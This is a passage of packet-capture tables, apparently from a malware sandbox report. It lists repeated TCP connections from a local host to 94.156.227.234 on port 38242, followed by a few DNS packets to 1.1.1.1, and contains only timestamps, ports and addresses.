Dec 24, 2024 05:28:55.606870890 CET	44626	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:55.606930017 CET	44626	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:55.726430893 CET	38242	44626	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:56.112381935 CET	44626	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:56.271960020 CET	38242	44626	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:56.746936083 CET	38242	44626	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:56.747163057 CET	44626	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:57.113624096 CET	44628	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:57.234519958 CET	38242	44628	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:57.234776974 CET	44628	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:57.234930992 CET	44628	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:57.354581118 CET	38242	44628	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:57.739813089 CET	44628	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:57.907946110 CET	38242	44628	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:58.351490974 CET	38242	44628	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:58.351728916 CET	44628	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:58.740813017 CET	44630	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:58.860374928 CET	38242	44630	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:58.860574007 CET	44630	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:58.860574007 CET	44630	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:58.980654955 CET	38242	44630	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:59.365550995 CET	44630	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:59.528068066 CET	38242	44630	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:00.002441883 CET	38242	44630	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:00.002619028 CET	44630	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:00.366797924 CET	44632	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:00.486421108 CET	38242	44632	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:00.486640930 CET	44632	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:00.486640930 CET	44632	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:00.606194019 CET	38242	44632	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:00.990895033 CET	44632	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:01.151977062 CET	38242	44632	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:01.610100985 CET	38242	44632	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:01.610408068 CET	44632	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:01.992147923 CET	44634	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:02.111676931 CET	38242	44634	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:02.111896992 CET	44634	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:02.111896992 CET	44634	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:02.231492996 CET	38242	44634	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:02.617213011 CET	44634	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:02.779942989 CET	38242	44634	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:03.234157085 CET	38242	44634	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:03.234426975 CET	44634	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:03.618489981 CET	44636	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:03.843857050 CET	38242	44636	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:03.843974113 CET	44636	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:03.844014883 CET	44636	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:03.963742971 CET	38242	44636	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:04.348941088 CET	44636	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:04.511936903 CET	38242	44636	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:04.960860014 CET	38242	44636	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:04.960995913 CET	44636	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:05.350024939 CET	44638	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:05.469613075 CET	38242	44638	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:05.469871044 CET	44638	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:05.469919920 CET	44638	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:05.589620113 CET	38242	44638	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:05.974813938 CET	44638	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:06.140196085 CET	38242	44638	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:06.596740007 CET	38242	44638	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:06.597084045 CET	44638	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:06.976134062 CET	44640	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:07.095838070 CET	38242	44640	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:07.096034050 CET	44640	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:07.096079111 CET	44640	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:07.215634108 CET	38242	44640	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:07.601772070 CET	44640	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:07.767932892 CET	38242	44640	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:08.221237898 CET	38242	44640	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:08.221501112 CET	44640	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:08.603452921 CET	44642	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:08.723090887 CET	38242	44642	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:08.723491907 CET	44642	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:08.723491907 CET	44642	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:08.843059063 CET	38242	44642	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:09.230655909 CET	44642	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:09.391916037 CET	38242	44642	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:09.851248026 CET	38242	44642	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:09.851464987 CET	44642	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:10.232333899 CET	44644	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:10.351937056 CET	38242	44644	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:10.352165937 CET	44644	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:10.352165937 CET	44644	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:10.471776962 CET	38242	44644	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:10.860002041 CET	44644	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:11.019947052 CET	38242	44644	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:11.490439892 CET	38242	44644	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:11.490612030 CET	44644	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:11.861601114 CET	44646	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:11.981117964 CET	38242	44646	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:11.981215000 CET	44646	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:11.981261969 CET	44646	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:12.101768017 CET	38242	44646	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:12.489012003 CET	44646	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:12.655894995 CET	38242	44646	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:13.096177101 CET	38242	44646	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:13.096409082 CET	44646	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:13.490763903 CET	44648	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:13.610383987 CET	38242	44648	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:13.610523939 CET	44648	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:13.610591888 CET	44648	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:13.730097055 CET	38242	44648	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:14.118036985 CET	44648	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:14.283910036 CET	38242	44648	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:14.741466999 CET	38242	44648	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:14.741784096 CET	44648	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:15.119482994 CET	44650	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:15.239384890 CET	38242	44650	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:15.239537001 CET	44650	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:15.239729881 CET	44650	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:15.359222889 CET	38242	44650	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:15.747396946 CET	44650	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:15.908008099 CET	38242	44650	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:16.362529993 CET	38242	44650	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:16.362746000 CET	44650	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:16.749005079 CET	44652	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:16.868997097 CET	38242	44652	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:16.869278908 CET	44652	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:16.869278908 CET	44652	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:16.989029884 CET	38242	44652	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:17.376133919 CET	44652	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:17.535938025 CET	38242	44652	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:17.987345934 CET	38242	44652	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:17.987606049 CET	44652	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:18.377795935 CET	44654	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:18.497700930 CET	38242	44654	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:18.497942924 CET	44654	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:18.497942924 CET	44654	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:18.617794037 CET	38242	44654	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:19.003376007 CET	44654	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:19.163995028 CET	38242	44654	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:19.622859001 CET	38242	44654	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:19.623224020 CET	44654	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:20.004821062 CET	44656	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:20.124567032 CET	38242	44656	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:20.124818087 CET	44656	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:20.124818087 CET	44656	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:20.245019913 CET	38242	44656	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:20.630902052 CET	44656	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:20.791975021 CET	38242	44656	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:21.249562979 CET	38242	44656	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:21.249824047 CET	44656	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:21.632813931 CET	44658	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:21.752386093 CET	38242	44658	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:21.752528906 CET	44658	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:21.752664089 CET	44658	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:21.872162104 CET	38242	44658	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:22.260143995 CET	44658	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:22.419935942 CET	38242	44658	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:22.877867937 CET	38242	44658	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:22.878180027 CET	44658	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:23.261596918 CET	44660	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:23.381299973 CET	38242	44660	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:23.381468058 CET	44660	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:23.381469011 CET	44660	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:23.501136065 CET	38242	44660	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:23.888921022 CET	44660	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:24.055864096 CET	38242	44660	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:24.505650043 CET	38242	44660	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:24.505776882 CET	44660	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:24.890543938 CET	44662	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:25.010473967 CET	38242	44662	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:25.010674000 CET	44662	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:25.010674000 CET	44662	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:25.130323887 CET	38242	44662	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:25.516931057 CET	44662	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:25.683953047 CET	38242	44662	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:26.133501053 CET	38242	44662	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:26.133755922 CET	44662	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:26.518516064 CET	44664	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:26.638156891 CET	38242	44664	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:26.638303041 CET	44664	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:26.638348103 CET	44664	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:26.758057117 CET	38242	44664	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:27.148089886 CET	44664	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:27.312033892 CET	38242	44664	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:27.774501085 CET	38242	44664	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:27.774861097 CET	44664	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:28.149974108 CET	44666	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:28.269629955 CET	38242	44666	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:28.269802094 CET	44666	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:28.269969940 CET	44666	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:28.389607906 CET	38242	44666	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:28.778737068 CET	44666	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:28.940054893 CET	38242	44666	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:29.391726971 CET	38242	44666	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:29.391860962 CET	44666	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:29.780668974 CET	44668	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:29.901276112 CET	38242	44668	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:29.901401997 CET	44668	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:29.901508093 CET	44668	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:30.021015882 CET	38242	44668	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:30.409575939 CET	44668	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:30.571861029 CET	38242	44668	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:31.026477098 CET	38242	44668	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:31.026757956 CET	44668	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:31.410976887 CET	44670	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:31.530755043 CET	38242	44670	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:31.530920029 CET	44670	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:31.531002045 CET	44670	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:31.650609016 CET	38242	44670	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:32.039879084 CET	44670	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:32.207854986 CET	38242	44670	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:32.651896954 CET	38242	44670	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:32.652057886 CET	44670	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:33.041729927 CET	44672	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:33.161150932 CET	38242	44672	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:33.161381960 CET	44672	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:33.161465883 CET	44672	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:33.327727079 CET	38242	44672	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:33.669249058 CET	44672	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:33.831945896 CET	38242	44672	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:34.334634066 CET	38242	44672	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:34.334798098 CET	44672	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:34.670975924 CET	44674	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:34.790838957 CET	38242	44674	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:34.791085958 CET	44674	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:34.791198969 CET	44674	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:34.910828114 CET	38242	44674	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:35.299726009 CET	44674	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:35.463903904 CET	38242	44674	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:35.931371927 CET	38242	44674	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:35.931643009 CET	44674	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:36.301610947 CET	44676	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:36.422072887 CET	38242	44676	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:36.422373056 CET	44676	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:36.422569036 CET	44676	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:36.544240952 CET	38242	44676	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:36.931427956 CET	44676	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:37.095905066 CET	38242	44676	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:37.550368071 CET	38242	44676	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:37.550647974 CET	44676	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:37.933303118 CET	44678	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:38.053008080 CET	38242	44678	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:38.053158998 CET	44678	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:38.053158998 CET	44678	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:38.172852039 CET	38242	44678	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:38.560163021 CET	44678	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:38.723853111 CET	38242	44678	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:39.178186893 CET	38242	44678	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:39.178447008 CET	44678	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:39.563420057 CET	44680	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:39.683372974 CET	38242	44680	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:39.683746099 CET	44680	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:39.683793068 CET	44680	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:39.803672075 CET	38242	44680	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:40.195521116 CET	44680	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:40.360054016 CET	38242	44680	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:40.802954912 CET	38242	44680	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:40.803284883 CET	44680	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:41.197227001 CET	44682	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:41.316814899 CET	38242	44682	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:41.316942930 CET	44682	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:41.317008972 CET	44682	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:41.436728954 CET	38242	44682	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:41.824088097 CET	44682	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:41.983865023 CET	38242	44682	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:42.482986927 CET	38242	44682	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:42.483093023 CET	44682	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:42.825664043 CET	44684	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:42.945319891 CET	38242	44684	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:42.945508003 CET	44684	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:42.945553064 CET	44684	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:43.065129995 CET	38242	44684	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:43.452754974 CET	44684	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:43.619999886 CET	38242	44684	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:44.083754063 CET	38242	44684	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:44.083918095 CET	44684	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:44.454462051 CET	44686	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:44.574122906 CET	38242	44686	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:44.574217081 CET	44686	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:44.574217081 CET	44686	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:44.693842888 CET	38242	44686	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:45.081438065 CET	44686	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:45.243805885 CET	38242	44686	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:45.685631037 CET	38242	44686	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:45.685842037 CET	44686	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:46.083197117 CET	44688	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:46.202812910 CET	38242	44688	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:46.203049898 CET	44688	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:46.203133106 CET	44688	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:46.322849989 CET	38242	44688	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:46.710931063 CET	44688	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:46.871972084 CET	38242	44688	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:47.340629101 CET	38242	44688	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:47.340745926 CET	44688	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:47.712666988 CET	44690	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:47.832231045 CET	38242	44690	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:47.832362890 CET	44690	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:47.832385063 CET	44690	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:47.952512026 CET	38242	44690	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:48.339735031 CET	44690	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:48.503909111 CET	38242	44690	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:48.952991009 CET	38242	44690	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:48.953279018 CET	44690	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:49.341232061 CET	44692	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:49.460932970 CET	38242	44692	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:49.461064100 CET	44692	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:49.461097002 CET	44692	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:49.580945969 CET	38242	44692	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:49.965456009 CET	44692	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:50.127959967 CET	38242	44692	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:50.587523937 CET	38242	44692	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:50.587640047 CET	44692	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:50.966505051 CET	44694	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:51.086456060 CET	38242	44694	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:51.086766958 CET	44694	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:51.086766958 CET	44694	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:51.206511021 CET	38242	44694	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:51.592108965 CET	44694	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:51.752648115 CET	38242	44694	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:52.221775055 CET	38242	44694	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:52.222007990 CET	44694	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:52.593132973 CET	44696	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:52.712958097 CET	38242	44696	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:52.713238001 CET	44696	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:52.713272095 CET	44696	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:52.832895994 CET	38242	44696	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:53.218904972 CET	44696	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:53.383821964 CET	38242	44696	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:53.838316917 CET	38242	44696	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:53.838491917 CET	44696	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:54.220247030 CET	44698	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:54.339869022 CET	38242	44698	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:54.340044975 CET	44698	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:54.340044975 CET	44698	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:54.459638119 CET	38242	44698	94.156.227.234	192.168.2.13
Dec 24, 2024 05:29:54.845038891 CET	44698	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:29:55.007884979 CET	38242	44698	94.156.227.234	192.168.2.13

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 05:27:51.073003054 CET	45744	53	192.168.2.13	1.1.1.1
Dec 24, 2024 05:27:51.073050976 CET	49471	53	192.168.2.13	1.1.1.1
Dec 24, 2024 05:27:51.290028095 CET	53	45744	1.1.1.1	192.168.2.13
